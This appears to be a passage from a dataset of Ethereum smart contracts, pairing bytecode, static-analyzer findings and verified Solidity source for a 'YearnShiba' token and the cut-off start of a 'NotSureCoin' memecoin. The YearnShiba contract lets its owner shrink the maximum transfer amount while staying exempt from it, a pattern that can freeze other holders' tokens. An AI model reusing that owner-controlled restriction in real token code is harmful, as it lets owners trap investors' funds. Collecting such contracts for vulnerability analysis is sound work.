fffffff1681526020019081526020016000205442115b80156116ef5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156116fa57600080fd5b611703846120ae565b1561171a576117138484846120c1565b9050611728565b61172584848461249b565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178d57600080fd5b6000835111151561179d57600080fd5b600090505b82518110156118cc57600083828151811015156117bb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16141515156117e857600080fd5b816008600085848151811015156117fb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110151561186457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a280806001019150506117a2565b505050565b60096020528060005260406000206000915090505481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119cc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a0857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008084118015611b29575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611b85575060001515600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bcf5750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611c195750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611c2457600080fd5b611c2d856120ae565b156120615783600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611c8057600080fd5b611cd284600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461207790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d6784600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209090919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b602083101515611df95780518252602082019150602081019050602083039250611dd4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b83811015611eda578082015181840152602081019050611ebf565b50505050905090810190601f168015611f075780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611f2b57fe5b826040518082805190602001908083835b602083101515611f615780518252602082019150602081019050602083039250611f3c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001905061206f565b61206c85858561249b565b90505b949350505050565b600082821115151561208557fe5b818303905092915050565b60008082840190508381101515156120a457fe5b8091505092915050565b600080823b905060008111915050919050565b60008083600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561211257600080fd5b61216484600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461207790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121f984600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209090919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156123015780820151818401526020810190506122e6565b50505050905090810190601f16801561232e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561234e57600080fd5b6102c65a03f1151561235f57600080fd5b505050826040518082805190602001908083835b6020831015156123985780518252602082019150602081019050602083039250612373565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156124eb57600080fd5b61253d83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461207790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d283600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209090919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561264b5780518252602082019150602081019050602083039250612626565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a723058207e5608fbac02ccb37b7ac1b0dadb5c84be2c28e5838b22da61df1b4b7906d1520029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,269
0x416b21d28e9f4a83Cf7287B659B4aA7DCE4d1e71
/** *Submitted for verification at Etherscan.io on 2021-05-25 */ // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract YearnShiba is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'YearnShiba '; string private _symbol = 'YFSHIBA'; uint8 private _decimals = 18; uint256 public maxTxAmount = 10000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 10000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 1e9 , 'maxTxAmount should be greater than 1e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610daa565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103d565b8484611045565b6001905092915050565b6000600354905090565b60006106d384848461123c565b610794846106df61103d565b61078f8560405180606001604052806028815260200161175760289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d89092919063ffffffff16565b611045565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103d565b8461085a85600260006107d461103d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb590919063ffffffff16565b611045565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103d565b84610bc7856040518060600160405280602581526020016117ee6025913960026000610b4061103d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d89092919063ffffffff16565b611045565b6001905092915050565b6000610bea610be361103d565b848461123c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015610da0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061177f6026913960400191505060405180910390fd5b8060078190555050565b610db261103d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ef8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117ca6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e76022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117a56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611348576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061169e6023913960400191505060405180910390fd5b611350610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113be575061138e610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561141f5760075481111561141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061172f6028913960400191505060405180910390fd5b5b61142a838383611698565b6114968160405180606001604052806026815260200161170960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d89092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611685576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164a57808201518184015260208101905061162f565b50505050905090810190601f1680156116775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e2031653945524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204bafd0b9bc7a55483b9928affc6ea82c352f1982a1da468e62529db813c3547a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,270
0x37a93c84f2b3d7d905880f00e209dd145aa631cf
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ /* https://t.me/NotSureCoin Not Sure about anything anymore, just ape in */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 